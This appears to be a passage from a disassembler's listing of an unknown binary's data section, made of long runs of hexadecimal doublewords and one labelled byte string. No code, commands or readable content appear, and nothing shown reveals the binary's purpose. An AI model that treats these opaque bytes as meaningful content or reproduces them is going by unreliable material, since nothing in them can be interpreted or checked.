		dd 0A42F00B3h, 8FCBBFD7h, 2A02AD90h, 16D311D2h,	769440A1h
		dd 810C992Dh, 5B43E380h, 0A1A43342h, 4E0CB7FCh,	9AD12515h
		dd 561700B0h, 64FA5074h, 91470022h, 0BF2BE17Eh,	8A26DADDh
		dd 0ED13B394h, 9F23743Ah, 0F80CBF81h, 0FC3CF321h, 78C9FB8h
		dd 0A04D2617h, 0CBC7F404h, 8940703Ch, 231E1390h, 755007F0h
		dd 0F79565F8h, 0CE92010Ch
		dd 60814DE7h, 462F6039h, 0F680ECB5h, 6A4C775Fh,	20C01180h
		dd 5DE00F1h, 99C987FDh,	234ABEh, 14905E60h, 97807106h
		dd 8E649CC5h, 36BB0C9h,	6C3EA8C0h, 402914Ah, 6420D958h
		dd 3F591E58h, 7C815C2Fh, 80807E96h, 0C2257058h,	0A000564Ch
		dd 49FE24E8h, 3A4BD45Dh, 62318h, 7EE251DBh, 870266F7h
		dd 412458CEh, 8CF0C898h, 0BF97804Bh, 0E159E660h, 48010E29h
		dd 0BC53C06Ch, 0C33032A2h, 0AAB9165Fh, 1E24210Ah, 776180F3h
		dd 5D8B4469h, 0E01150C9h, 816C94D1h, 48DD9B5Eh,	0F5E9405Ah
		dd 0FF075D87h, 0FDC5C4CCh, 94AB58C0h, 46ED1AA8h, 1073509Bh
		dd 2EE0600h, 0EF0F1Dh, 1EE77704h, 0AA5AA6B0h, 8E7E7102h
		dd 8B27828Bh, 911804BCh, 0ED228050h, 1274C94Ch,	0DC160EC3h
		dd 0FB8834CEh, 7DB9B4C0h, 0ACC45298h, 1295E53Dh, 0F0498863h
		dd 2E0031E8h, 9032C116h, 0B1354A24h, 79171F1Ch,	0DE2845A6h
		dd 0D0A3B008h, 0DC00BB93h, 9D627F67h, 0AF0F9E12h, 0C13187E5h
		dd 94D0C948h, 0C82B2980h, 0E5E064A6h, 18C1F000h, 0BAA4C367h
		dd 91FE2EECh, 0DCD08610h, 11093049h, 0C0B842EBh, 0C070D70Ch
		dd 66AA8849h, 0C80031C5h, 0CE44B1A5h, 4B9B7BC1h, 0B76088C9h
		dd 0A46FFC26h, 1838FA08h, 0E26404Eh, 1DC01CD4h,	8784E803h
		dd 2CBC92B3h, 3DBAC901h, 2F765417h, 0F5BD6C05h,	16673880h
		dd 47D228C3h, 26B97E9Ch, 8140DF1Dh, 0EAA42BC8h,	0B46B2AA1h
		dd 59026C3Fh, 36C311B4h, 98028054h, 0B6F3A2Ch, 9FE41C45h
		dd 54392860h, 71583416h, 0B62758D0h, 4C0D13A0h,	97A890CFh
		dd 8F004B18h, 4786AED4h, 2ABBF09h, 0B145A02h, 0CCA08AA8h
		dd 95A30E90h, 1ABAF0C1h, 8C45F7C5h, 9388A08Eh, 0A8AAEFC0h
		dd 2229009Dh, 31422EDFh, 84E9326h, 5DB22887h, 72600CAFh
		dd 2E6058Ch, 0B2F530C3h, 0DE6CC0DCh, 12BB8C02h,	4A9C64Ch
		dd 41B2C2D8h, 3E61FD70h, 99BDCC34h, 0CB0C9764h,	0C0A2C8D0h
		dd 4A2D3770h, 588548h, 0B95825C7h, 0DDB6F91Ah, 0E72C4C0h
		dd 573480EAh, 74B4C96Ch, 0BB14053Bh, 0B04C9B86h, 4EB7E1FFh
		dd 231C2EF2h, 0C22009Dh, 89391C5Fh, 370560CBh, 38F581C0h
		dd 2C57BC4Bh, 9A9B80B4h, 7C449E7Bh, 0D8C0BD6h, 3E00411Dh
		dd 4F32EFFCh, 9589C41Fh, 40F5FF00h, 1ABCC654h, 40F20FE9h
		dd 86E8C47h, 46B760B8h,	31029FF8h, 70DF371h, 97B8500Ch
		dd 0C4613C99h, 0B2542D7Ch, 0BB1416B8h, 1DAC6994h, 4F40B7E1h
		dd 63E523DBh, 93D090F5h, 0C2558824h, 1FC11306h,	2D700D81h
		dd 20189B7Ah, 0E18B8D98h, 4180412Fh, 0EF2952E5h, 50300B11h
		dd 0FBC9709Fh, 3DC6022Dh, 55A7E9B9h, 3D63C56h, 0D9579C23h
		dd 0E698DAC7h, 552E1AC0h, 44A41496h, 12337D08h,	844CD0D0h
		dd 6700950Ah, 0B62A1B86h, 4EE66Eh, 0FBBF9960h, 1BA9B36h
		dd 0DAB7813h, 8673EC88h, 750C0E42h, 18599DCEh, 0A0E3B501h
		dd 238398AEh, 277F7E4h,	53B8D85Fh, 0ACD1228Bh, 331831D1h
		dd 0F9F81F30h, 576D0Fh,	3759F934h, 0E49EF1BBh, 0DAE2E900h
		dd 4BCE534Fh, 41A0E988h, 8ED024B4h, 6794846Ch, 35A880A7h
		dd 0D1C0B0D1h, 95A5859Dh, 0F0760062h, 501451ADh, 0ED2758BFh
		dd 0E9F468C0h, 17462530h, 8EA5C0C0h, 64E21413h,	6ABC8480h
		dd 901026ACh, 9F467674h, 76C9B001h, 6130F0D2h, 0E5FCD088h
		dd 9486E59h, 78E1EC3h, 5129BA1Ch, 189C7150h, 166A5AF7h
		dd 0BB8C8814h, 3C0066F8h, 0BD8592A4h, 54FA8E0h,	71F2C2D2h
		dd 0E064C9D1h, 0AF0ECB9Fh, 60050EA3h, 8BEBC8E0h, 0DA900BCDh
		dd 3C17F33Fh, 7A80A491h, 9586E533h, 0E7AF6D02h,	0A038720Ch
		dd 0F093D1DCh, 0D3B3006Bh, 0A0F5E1BEh, 0B5E6F11Ch, 0AB1B8C01h
		dd 8F3DBB57h, 3A2AF421h, 433233Ch, 0C41F5918h, 8000E8BCh
		dd 82320F0Dh, 0EA5503E0h, 783CD9DDh, 762D6EB8h,	8F86253h
		dd 0A591FBA6h, 614288CDh, 0E2EC6058h, 60D5828Ch, 0F9C685B9h
		dd 89F0F070h, 538AF5FAh, 38C280ACh, 4DC5056h, 36BB90F0h
		dd 30E4886Ch, 0D230E14h, 243E04A0h, 0E0A0AC7Dh,	0F2D4A944h
		dd 3CAC4C6Dh, 0E8486AFCh, 5795C034h, 927B031h, 9AB4C85h
		dd 66A52C90h, 0FD97CA00h, 0DEF9149h, 88D84CC9h,	4092B840h
		dd 0C80FEE69h, 8075452Eh, 3AAD5474h, 20CF45BCh,	0D224C8B0h
		dd 0DCACC014h, 0D4E27F13h, 18D98136h, 8244AB74h, 8914275h
		dd 88830937h, 0F112AB95h, 1870061Ch, 262D3245h,	20F499A4h
		dd 23F8903Ch, 59492FEBh, 841500BCh, 0B924CF2Ah,	95F75900h
		dd 5E855D74h, 8C99165Ah, 0BE24022Fh, 5451A252h,	467498A4h
		dd 69FC006Ah, 76D02268h, 58C3058Ah, 2424F901h, 0F74C40D4h
		dd 0B48E0D7Ah, 0F3981B5h, 89FC0C6Ch, 0A72004CCh, 0C42ACBACh
		dd 5004CBA0h, 9F5F2B20h, 0A8F42852h, 20B12B3h, 778C08ECh
		dd 0C6C1E3C7h, 2C6ADD30h, 0DB396DE8h, 0AF778002h, 0CA96B88Ch
		dd 0DCD53FE3h, 709D1A01h, 0C8B272CFh, 90067DBh,	783D462h
		dd 0C466A998h, 607CD610h, 30B980E0h, 0E131BB7Eh, 6B6BB383h
		dd 0E164D141h, 3FF3D0h,	88E6C797h, 78F958E5h, 8CA3B894h
		dd 625F600h, 0BDDBECDEh, 0D0D15A83h, 2B321D08h,	1C686E00h
		dd 9D7EAC86h, 5DB10E47h, 0F273DA91h, 0DA200B8h,	65FFCBF0h
		dd 0B3B11CA7h, 0F84408Ah, 0FEBEB4F7h, 11036A0Bh, 87784490h
		dd 60A044C0h, 51D5E8Dh,	97DA299Dh, 0D0CCC8BEh, 750098B1h
		dd 5811A486h, 68B7818h,	69354F23h, 0D05A49A3h, 6000205Fh
		dd 0A73338DAh, 495600BEh, 0BD231507h, 592626B6h, 862470CFh
		dd 88CBA012h, 4FC06F88h, 4F503h, 0B435FAF7h, 0AB7BD9E8h
		dd 0C5241050h, 4E43C4Ch, 0F3A8D108h, 85B098A6h,	1613A623h
		dd 0C4F47279h, 44010E1Eh, 57803C9Eh, 0D0C67DBAh, 0B3399260h
		dd 2B81F0h, 7C39589Ch, 0F953300Fh, 0C93E5000h, 99BC6C38h
		dd 3D971269h, 219C3774h, 71F76AC0h, 0E8682824h,	59008C96h
		dd 0E5541A24h, 27BA8FABh, 48912AF8h, 13EF18BBh,	0B2B03608h
		dd 309DF2BCh, 205AD1E2h, 16D544D0h, 931C00F4h, 0ED92AC2Ah
		dd 5D016F69h, 4E359C76h, 6C605ADAh, 0B1D088F5h,	9C67D9C1h
		dd 85FC6B4Bh, 78E43AC1h, 29E1C3B8h, 41A232FAh, 11FCBA60h
		dd 0F980AAD0h, 6BDD3B5Dh, 101A734h, 0CBE7906h, 0BBD87E1Bh
		dd 8C2B4922h, 9116AA16h, 48693CF8h, 7117BCBCh, 892E820h
		dd 0EEC6305Eh, 0C3C0E311h, 89B86A88h, 8038EEBCh, 0D729C799h
		dd 0B1765EEAh, 3D7C3065h, 0A9C582E8h, 400017AAh, 8C874A5h
		dd 58F8024Dh, 30820B16h, 0FDD8D0F1h, 520586B7h,	470FC5E5h
		dd 0A40014D4h, 74C397ADh, 912B88B8h, 0A336E888h, 0D058C30Ch
		dd 19EADDC8h, 91C04C72h, 4C40F8Ah, 9D7A30B8h, 0BAE8000Eh
		dd 0C8CB30D3h, 24B1D121h, 6BC36100h, 2C8072D6h,	584C23F8h
		dd 12005287h, 382C1086h, 38850629h, 2740AAAh, 0D0591E18h
		dd 8A0F8AA8h, 0C83E1C0Fh, 30A8030h, 4ACCD6Eh, 812E7490h
		dd 983AC593h, 94A184A8h, 60382086h, 4238B844h, 80BB269Ch
		dd 52EF58h, 92BED89Ah, 462565CEh, 766FDD02h, 56B7A58Fh
		dd 0F95B4170h, 0A914F01Eh, 6F12F848h, 1820C219h, 0D97871B8h
		dd 12A51806h, 0EB58AAh,	0A7DB0F8Eh, 0CC0B4B25h,	48CFA9E1h
		dd 0AB0CB8h, 7BE9E2Dh, 25FAC806h, 40053E7Ah, 8258C72Fh
		dd 0B8F8008h, 0D468AF17h, 6F42D546h, 0C8508A4Fh, 0B8CA70h
		dd 0B405E1E4h, 60CC6A51h, 0B6C9C10Ch, 68484008h, 32007D7Ch
		dd 18657034h, 0B6D15C06h
		dd 0FC48004h, 0CA78A272h, 0CF0AECECh, 0A0BB79D3h, 0A4B7F808h
		dd 29580075h, 0FFC9E0BAh, 8E2CDA01h, 0DD931D2h,	546A0F7h
		dd 0F43CBC71h, 0C780C206h, 999ACFh, 1094934Ch, 3A388A85h
		dd 0EA332800h, 291B3EA7h, 0E8E08Fh, 7A4AF651h, 740AABFh
		dd 1512C879h, 0A82F55FEh, 0C0B7FF10h, 46577BB4h, 77F809A2h
		dd 78DAC298h, 0F441D04Bh, 0DBBDAA6Eh, 0DCA7E8h,	0EC3449B2h
		dd 2E51DEF9h, 30C0831Fh, 8C8BC2C0h, 70D866A5h, 14917625h
		dd 28F7C698h, 5B00A322h, 1A3C7379h, 0A4DE2Fh, 0C6924C9Ch
		dd 6C3549A5h, 0C78A282Dh, 60966438h, 4D646A6h, 824CE220h
		dd 50F204h, 73A48B6Ah, 1B61B1h,	77264D85h, 0EF903633h
		dd 0A6DB3Bh, 0BDFD72E1h, 5AB1A5B7h, 23C82EF2h, 0F3D500A4h
		dd 0DFAA148Dh, 7657865Ch, 282BC313h, 8C8B7C57h,	7102239Ch
		dd 0E12AA3DEh, 432C5BCh, 2C878A01h, 3E769737h, 0D826DC20h
		dd 2F8D09F0h, 38513212h, 0D21893D1h, 0C7C05300h, 70E6DD0Dh
		dd 97C10138h, 878BB547h, 406B3BA0h, 0B44A6100h,	75A606CCh
		dd 30C0D25Fh, 149BD3h, 0A8EA56BFh, 80BBCC5h, 48D10D25h
		dd 1DB8D9A8h, 0C038C766h, 299E4E1h, 2F0115AFh, 0FB31524Fh
		dd 23E6CF4Bh, 1E88BC3Bh, 7A2FD44Ch, 0B65449CEh,	0E418C4h
		dd 0FFB11003h, 3B08E1D1h, 360CA87Eh, 90DBF122h,	14070CE2h
		dd 751858CAh, 3EC94B5h,	0A1192F4Ah, 0FAF06CACh,	7B0118C9h
		dd 6BFE267Eh, 0BFD40A52h, 0B8EA4C43h, 4D8B3E02h, 84F1AC33h
		dd 0D1811F00h, 44CF509Ch, 6D0E569Eh, 0E044D6B5h, 1613483Ch
		dd 4E973FC3h, 0AD08AD94h, 0C491E3Fh, 0E23E002h,	40647802h
		dd 0C1026746h, 0ABC0E0EEh, 8559385Ch, 4CAEECCh,	0C10CA1AFh
		dd 0F0948D43h, 0AD022FBFh, 0F3094BBh, 0C5E05F83h, 4B005A56h
		dd 0C590FF35h, 133E29E3h, 0CE767953h, 0C5318894h, 9DB008E1h
		dd 294E9844h, 0FC245640h, 2500D6C9h, 48EF430Fh,	50B0BE60h
		dd 5B5F8C78h, 0FC40106Ch, 0E282C08Bh, 4F6259C8h, 5740F0F4h
		dd 0E30733h, 8BAAC616h,	67D9BDFCh, 8524A301h, 0A058BAF8h
		dd 6EF2D072h, 4D55D30h,	0A64A84D3h, 3D8CFDCEh, 72B40080h
		dd 0DE3F1EB7h, 46A03A77h, 85412C00h, 0BE402D6Eh, 379D3098h
		dd 0A6D30090h, 0EF58022Ah, 6C281002h, 0D3C6A781h, 27587018h
		dd 640D0E2Ch, 0D8201E93h, 74BF4B1h, 1F07996Ah, 8CF3A7A6h
		dd 0CA88A5E8h, 3C7E0EB2h, 426762C8h, 0C7A7A0FBh, 351E6625h
		dd 0C202E82Ah, 7018EC22h, 0C3971D20h, 0F96034BDh, 58C0B9D8h
		dd 91724FA1h, 0E048A840h, 3E1277A9h, 88210DF3h,	9421E68Ch
		dd 13C6E7Bh, 0BD2736FEh, 19A96771h, 186ED170h, 79D60160h
		dd 32E2572Fh, 0D47298h,	835D0693h, 5CF39616h, 0EC92426h
		dd 3D8BB4C8h, 5A7FAB00h, 977E13B6h, 0C009E226h,	7BBF9029h
		dd 0DFEE3308h, 0EBF9F300h, 0E6B952AEh, 0EE8A630h, 8926ED20h
		dd 87592C85h, 1309444h,	3E17AB3Ah, 0FB82647Ch, 0E0E2F12Bh
		dd 26A03AC3h, 0C0A41F50h, 33517100h, 28687546h,	0CEB6004Dh
		dd 22BA7A54h, 0C81614EAh, 98B24926h, 695E6200h,	2E3D5180h
		dd 9DCE6338h, 0FFC04FBFh, 0CBE5078h, 66793DE5h,	83779080h
		dd 24AFE49Dh, 7F294000h, 11493908h, 0C1A1C0CEh,	66B1DE07h
		dd 0BCD8CF01h, 6EA63E9h, 0AF1B20D2h, 0A14C5213h, 401EC0D4h
		dd 3A8E60Dh, 0F83A08EEh, 0A998E4DEh, 390019DCh,	1BF4BD7Fh
		dd 7566A38Dh, 7174C6h, 92FD31CAh, 0A220099Dh, 96773800h
		dd 0A7D97B4Bh, 36E40B67h, 60F26F35h, 0E5C5758h,	3EC17C6Eh
		dd 1509C040h, 0A110B3B9h, 9F60F780h, 0D4F31D68h, 1366804Bh
		dd 30BB674Ah, 8CE8EA24h, 8701899Eh, 62275245h, 0B67EE0h
		dd 4EA0EDEEh
aUT		db '}uÌ’',0             ; DATA XREF: ___:off_435740o
		db 81h,	0A1h, 8Dh
		dd 26B3F4C4h, 0D10900B0h, 9712EA2Bh, 0CA1F9A45h, 0C3817508h
		dd 3AD6F0Ah, 3E957DE4h,	0C07810BCh, 0DCEC2F18h,	0E2773592h
		dd 0E49F20ADh, 720D0EA2h, 3287CF96h, 30CD40E1h,	49075785h
		dd 0CCAAF6Ch, 0C11A11C0h, 1EDA073Fh, 7072399Bh,	0CFA13C86h
		dd 22813087h, 108211CAh, 7290514h, 61BC1CB8h, 36AAC0A8h
		dd 4E0008D4h, 119BD678h, 0F499E6Dh, 0CCA58613h,	26F0EDC5h
		dd 0F330834h, 0F2E1C0C9h, 0A180B573h, 0FD25F1A0h, 39C930F1h
		dd 0C04EA903h, 90BBE461h, 3C439342h, 0E207EEE1h, 8056C110h
		dd 0C4F573AFh, 0E300A27Bh, 858F09E6h, 27EE1EF2h, 7D4C16Eh
		dd 2114FC14h, 86D0088Eh, 6A845290h, 42EA48BAh, 462487D9h
		dd 48B2E427h, 81CE42D6h, 56212A24h, 10D212B5h, 948B8335h
		dd 12ADF421h, 0D648203Eh, 7B00867Dh, 52314332h,	261D3Dh
		dd 0D8E48B9Dh, 0C8B3C5EAh, 0A7774B03h, 0A88C2C4Eh, 0A214F7h
		dd 0EBCAE348h, 1B49116h, 39222002h, 77D34E94h, 0ED7D7E40h
		dd 0EAB0C600h, 506A042Eh, 0E27B46h, 38230B49h, 0EB904CE9h
		dd 0C1147201h, 7B246198h, 8A30FCh, 7DFC6A1Ah, 0A0D1C503h
		dd 2283F301h, 0CBEC8915h, 0DD77FCh, 3123559Dh, 1F687309h
		dd 8424EF00h, 0FD811257h, 7103395Bh, 7D80C23Bh,	0FE659AB6h
		dd 0E007585Fh, 0A4D5CB7Fh, 5119B3h, 0BB189110h,	0BDF1631Ah
		dd 0B59BE03h, 4B617h, 0D6237C21h, 151E47CAh, 0DC8B9312h
		dd 0F5BB7600h, 13191BE1h, 0AD14F80h, 9C682Bh, 0C3221837h
		dd 0B90F4D95h, 0A065353Fh, 2C47B1EEh, 12E218D4h, 0BCF83670h
		dd 0CE036A00h, 3A942059h, 92EF436h, 130276D3h, 2256540Ch
		dd 32F1A01h, 0C4C6A86h,	115CBD41h, 0D0C68040h, 8FB203A6h
		dd 92B8C4F6h, 0AC440CE0h, 0AD00C890h, 2C027C07h, 0FB46D6h
		dd 0C826B21Eh, 75E712BEh, 2300FE72h, 0D0901593h, 9D72DBh
		dd 0A0FBA7E8h, 147A0138h, 6DE43D00h, 0F41EB2DAh, 318F07F8h
		dd 0BC83E3BDh, 0DE0004B0h, 29712E89h, 2CE679F2h, 27AD1247h
		dd 0D000D25Ch, 0D69D17CDh, 18E77E6Ah, 0FC34D53Bh, 4800DA32h
		dd 278B086Dh, 3E44276h,	0F38EACC4h, 19F8C19Bh, 5005B10h
		dd 0A1CDB790h, 1EC7AA4h, 0D42D5DBEh, 0E80E8113h, 0FD014647h
		dd 0E314E2C4h, 0A2F499DDh, 35606D6h, 11D21F85h,	64ABA400h
		dd 0B49B988Bh, 0BE7EFBh, 2B258EDBh, 70B71777h, 0D939F700h
		dd 95A4051h, 9727036Eh,	2360CD62h, 0F87849h, 98E78464h
		dd 0B0A7Dh, 145E06CBh, 9D42CCE4h, 0A9F7AB00h, 0F23E344Ch
		dd 85FB000Dh, 0BABCAE20h, 0BB000477h, 0AC0027Ah, 0E184373h
		dd 0C97D8ACAh, 17C5EF60h, 0AD00590Bh, 0D74135CFh, 761B108h
		dd 1B2F4F25h, 241860FCh, 0F6005EF4h, 0F82D55B2h, 904742F5h
		dd 0D5C85808h, 3D176400h, 207FF36Dh, 1DC3950h, 0E97BE709h
		dd 226C002Ah, 70EEFE5Eh, 2DF20072h, 3BBAEB7h, 81008AD7h
		dd 77C3A1F9h, 0A106AB07h, 63F0FABCh, 0F661003Ch, 0CF9E7029h
		dd 0BC3AE5EDh, 7B72809Fh, 0D99D2DAEh, 289024DCh, 0B7033900h
		dd 1AC6254h, 0D26736F8h, 4D02B407h, 0F6620F18h,	0DD29606Dh
		dd 1A520041h, 0F16221BCh, 0B80071ACh, 0C1B956C4h, 3D924B97h
		dd 570006BAh, 0A6BD085Fh, 170F6365h, 2CD81925h,	1E44873h
		dd 0C6ECDC3Fh, 20D3D564h, 391F2D10h, 0F82834FEh, 7B347848h
		dd 3551A709h, 14440099h, 3315E5h, 8C955F44h, 0DD837963h
		dd 66730C0h, 0A0523B9Ah, 0F850F8C0h, 10ED00EFh,	0C6E1314Bh
		dd 5400993Eh, 80E38DF7h, 39DB776h, 0ACB9D848h, 0F5E0453Ch
		dd 0D6002BA9h, 0FCB4A6D4h, 0A06268D1h, 1D269F0h, 0CC08C89Fh
		dd 300F520Eh, 0BC3B2D50h, 3B1C80EDh, 0F14F443Dh, 0C92E3977h
		dd 66220280h, 419CDC11h, 1D52BD03h, 0A5F6AA9Bh,	39809D00h
		dd 0EEE4671h, 20BEFAACh, 56EADA0h, 42007BAEh, 0E6048D6Bh
		dd 1127051h, 0E27FA221h, 404FA7FDh, 0AA270AE0h,	51FAF20h
		dd 823556E1h, 5769C0CCh, 9400F087h, 0EF396C22h,	8F16F1h
		dd 0E1F6C1F4h, 40DC3B32h, 0CB11421Ch, 76E59380h, 2B7A257h
		dd 269AAB6Ch, 0E0A236D8h, 0EC6045C6h, 0DC54DB1Ah, 273A0B90h
		dd 657A804Bh, 36B4AD8h,	2F9B0BA2h, 0B2802E69h, 0EC04C60h
		dd 0EB395000h, 8C23BA58h, 81050011h, 0C7DC620Fh, 2F05CFCEh
		dd 0D0854655h, 8B4488h,	9FC610Dh, 54E50B91h, 0D6371F1Fh
		dd 1B41809h, 2E6E32C4h,	9FABDCh, 9BDDE2Fh, 826CBAF0h, 46E85305h
		dd 24825D54h, 60B44252h, 12A47624h, 25D94Ch, 8A2950B0h
		dd 9112ACC6h, 20008EBFh, 0BBDA97E5h, 0C3130087h, 0B3171594h
		dd 4A009A88h, 73278F0Dh, 75D654h, 1579DAD0h, 0A2846DDCh
		dd 0C8447000h, 0BD059EAFh, 2A1D005Bh, 0E099CFB7h, 0EAFA9274h
		dd 71586307h, 6510C9B3h, 24A99F7Fh, 0E77668Bh, 0F262B68Ch
		dd 24C8CD64h, 0B503BD13h, 0F183E101h, 0D634B036h, 24880061h
		dd 0DE56AC8Dh, 377CBD5Bh, 1869C800h, 0E18C9823h, 0D0E700D3h
		dd 0D636C5B6h, 0CE037281h, 0F3DF1C85h, 0C99FC99Eh, 98DBEB20h
		dd 669FC95h, 0AC6D1E50h, 0FFF6DE85h, 4FA65200h,	0E1BAB5E3h
		dd 0ED7F7Fh, 0FCECD15Ah, 855C1B6h, 724FC601h, 99B940Ch
		dd 0A0DC60h, 6B4336C8h,	81FC3D42h, 8D4E3307h, 2E8039AFh
		dd 30CD638h, 442250EDh,	919861D7h, 5900C4BDh, 99283A7Ch
		dd 77F1D511h, 53EF8E1h,	54E68DCh, 28D007E9h, 6F9DD2D6h
		dd 0A15A10C0h, 0CD4D6913h, 0BEFC0C00h, 1D9851C0h, 80B7FF71h
		dd 0D6878F5Ah, 3E00FD57h, 6D453AADh, 300FDA4Bh,	46D8C6DDh
		dd 2000B476h, 5CF21FF6h, 76E65122h, 41B50752h, 0D5A9D82Ch
		dd 80A49536h, 0F73774FFh, 75CDD600h, 7B29EA7Dh,	0AD420547h
		dd 80D3109Dh, 0A4CED738h, 5339E00h, 1588896Bh, 553E0746h
		dd 0E02F0C64h, 2E0DC7Dh, 67D0140Fh, 4F9F80E5h, 70752Dh
		dd 3DC482FBh, 47D9CCE9h, 3CF13A0Bh, 0E6D8813Bh,	9C329DAAh
		dd 0F885B000h, 0C444BE97h, 80E8173Bh, 4563C5FDh, 3BB32Dh
		dd 0EB80D4A9h, 0FF5DC7B1h, 9EDB7503h, 74D1FBCh,	0B5168B50h
		dd 0ACF7E020h, 6A07E912h, 0C2419787h, 5D6F223h,	2C79B9F8h
		dd 0FE15C078h, 0D2609E06h, 2A2373E8h, 0B6C0484Ah, 0B894F600h
		dd 0BFDFEBC8h, 2E00DBB0h, 0E8B690Dh, 0ED252D0h,	0BB23C96Fh
		dd 78FD007Fh, 56C3278Eh, 0CB6DEA03h, 4F984B7h, 494652E9h
		dd 83644040h, 0A81164Eh, 3D3A8008h, 25AB05C8h, 37C6C0FEh
		dd 1A076D13h, 11E19003h, 0A874E490h, 70D70004h,	77FD1422h
		dd 6E7F9F87h, 5AF9601h,	0A1DD69A6h, 7F77834h, 499E1981h
		dd 454F9034h, 1E04981Fh, 7FE9BCF9h, 0DA468C80h,	94700067h
		dd 2AE17E9Eh, 0EB58D8F6h, 0FF630930h, 0B9A20778h, 89F0C460h
		dd 0C0F0016h, 46DE0859h, 2D02B82Eh, 0AEBD7A66h,	0FC1AE05Bh
		dd 642900ACh, 1FF8E6DAh, 0CB070C24h, 535F9A46h,	0EEB03B87h
		dd 0E05B669Bh, 38B72A3h, 93E77DB1h, 0CC44F33Ah,	85409554h
		dd 37F7095Ah, 94205CCDh, 82DA12E5h, 8CAB5E2Eh, 0C146C204h
		dd 15B95807h, 0C32F80B8h, 0F804F3C9h, 0A1D01A8Ah, 98E9FC90h
		dd 0C6F4048Eh, 0C025FC30h, 0A394F864h, 792121C0h, 38C03C39h
		dd 4C834D92h, 5F378B1Bh, 90D5359Bh, 0BBC13230h,	0B5B75219h
		dd 68500978h, 546BABh, 0FBF2690Bh, 34B92157h, 9C0A3516h
		dd 5BCD3404h, 2E509090h, 0C51A0063h, 1D80E429h,	0BE589B3Eh
		dd 970B0108h, 0DC8F9538h, 0E6F02471h, 7401F0Eh,	6DCB45E4h
		dd 0A8A88046h
		dd 4C0370C6h, 0C40E45B8h, 3D4EA844h, 0E1470086h, 88D4C15Eh
		dd 0ED008597h, 0BD967372h, 0E1B2FC75h, 38F9ED8h, 150D06Ah
		dd 19A0472Fh, 0D898F1F6h, 0D8D53B24h, 0A99A0800h, 8CDE2Eh
		dd 3DB039ECh, 0F67F8445h, 5F951303h, 0E822805Ch, 65503Bh
		dd 88A12A09h, 0CEF5DDDFh, 0E6CAA817h, 0F0472504h, 5AB7D8C0h
		dd 0E14C00DBh, 0CB1CEE68h, 4000355Fh, 0AD4A2680h, 1473FC67h
		dd 0E8020BE9h, 1D80033Bh, 59927BB4h, 7E482030h,	0F366010Ch
		dd 74B8B11Bh, 0E7FC100h, 0C3827710h, 8AB99400h,	0BF4726F5h
		dd 0D8A9AF30h, 9CE767EEh, 25E8A810h, 88388172h,	7DF6E298h
		dd 128DEB00h, 0A8E85C87h, 1EB53FDAh, 739D5100h,	0FA78CBC7h
		dd 0A27F800h, 0C6CDD46Eh, 0F0010583h, 0C7D612A9h, 74A83038h
		dd 321E304Eh, 4BAADF2h,	0F623CA4Ah, 8A9DF4C0h, 2D8C009Fh
		dd 0E1967FE0h, 0DC0EBFABh, 83270E77h, 9BDB87C0h, 480E810h
		dd 1FFCA052h, 0FA3A007Dh, 23CB143Bh, 3703B5C7h,	7551B51h
		dd 4A5DE819h, 1D9400AEh, 96BD886Ch, 4012BA4Ch, 7C80F53Bh
		dd 1C63B6EDh, 397C98Eh,	0E366312Fh, 47EAFAh, 0B0FF1D1h
		dd 4F7F3B2h, 0B7C00FF9h, 492662h, 68B670D4h, 0E605323Bh
		dd 7DCD9509h, 0FD8800DEh, 0A1FA7Ch, 0D46509Ah, 1809E968h
		dd 6DDDBC1Fh, 4D649245h, 0C0917EC2h, 3E0EAB81h,	0AA00305Ch
		dd 5D46FC57h, 0AF00E4D2h, 64EAF4F1h, 9C7A2Ah, 9D98036Fh
		dd 0D34F6E97h, 6BB8A200h, 2082F8ACh, 0CA0F01ABh, 0BF58AD77h
		dd 0C094C3CCh, 153EC700h, 79A52E0Eh, 0C4F820DAh, 5043CFB4h
		dd 0FC1295DFh, 746F0055h, 0CCB63FE4h, 9F000FD4h, 8CD9299Ch
		dd 9AE33F2h, 0B7853E41h, 464D8802h, 1A561CC0h, 58EF2524h
		dd 0A54A7081h, 70DA0754h, 48410040h, 8AF01533h,	0F8FC9B1Ch
		dd 0E26DC717h, 6EA03001h, 48EEEE2Dh, 4084F6Ch, 0D6F6ED09h
		dd 45ADC34Ch, 0A3936FD0h, 0CFFCBD0Eh, 2B807CE3h, 730960B8h
		dd 4D8E0012h, 67076F24h, 0B3071ABCh, 574CAB6Eh,	42E1D0C0h
		dd 25F00075h, 84D18388h, 140031A7h, 0AE3A7015h,	7F1CDC3h
		dd 9406A966h, 9309509Dh, 0AF00C91Ah, 410270B4h,	0C637EFh
		dd 14BE90ADh, 0A0E71182h, 0B179DB02h, 0C0BD5130h, 3139727h
		dd 0F01E8E22h, 94D99A49h, 0F5670AEh, 8D2AB600h,	3D5AB101h
		dd 0DC820004h, 0A1121D7Ah, 0D9F6D34Ch, 3B02341Dh, 0B15FEC7h
		dd 7480E9E5h, 0F02383D7h, 0DE4F0F30h, 0C3A034CEh, 75E48B22h
		dd 0B29B7800h, 0F6BACA65h, 0DB2B003Ah, 311A2AEDh, 641FE1BFh
		dd 0AEC9843Bh, 1EB68090h, 0B01DCFEFh, 226A7774h, 0E1005AECh
		dd 3AB87E73h, 0F2CC93h,	760949F8h, 782AB45h, 566E3200h
		dd 3D4A4062h, 9C008269h, 0FC06B2FDh, 2379F00h, 48E34B18h
		dd 0B7CE006Bh, 3A6AD66Eh, 0B817DF04h, 0AE02B2h,	9DFE53B4h
		dd 2B001029h, 0E78419BDh, 1013870h, 33C1B7Dh, 0C8BFB2E9h
		dd 3E392066h, 1A0D800Bh, 6938E7CEh, 6E0C0023h, 0F882EF24h
		dd 0F30E52AFh, 6760D095h, 21F2D6B0h, 64344010h,	90A900EEh
		dd 81B99F05h, 0C30FB795h, 0E0078CDFh, 0AD4F60D9h, 87D103C5h
		dd 0D4636C76h, 0C1BC07BDh, 8020C90Bh, 0AD3EF98Bh, 803B40h
		dd 4F95152Ch, 2FE563E6h, 726050F0h, 0D974A0CEh,	0D8EF00DBh
		dd 0DE45CDAEh, 36047A79h, 0E1D71499h, 0B1A730C0h, 6008962Ah
		dd 0DE3D476Dh, 56FF1806h, 9A2EF10h, 0C6AE65CCh,	67872890h
		dd 0C224B00h, 0BEFC1844h, 941D0A52h, 0C86156h, 88B54128h
		dd 5E009126h, 830CA5F6h, 792E4F1h, 89CB5861h, 50D6770Dh
		dd 52E84D39h, 1F93210Fh, 0DA274038h, 93CA043h, 254C7306h
		dd 0E3D9D980h, 20000587h, 31E9136Ch, 0E2DB48h, 9453AD36h
		dd 0C0A590ABh, 8EF76127h, 0F388C04Ch, 74FF175h,	7AC1160Eh
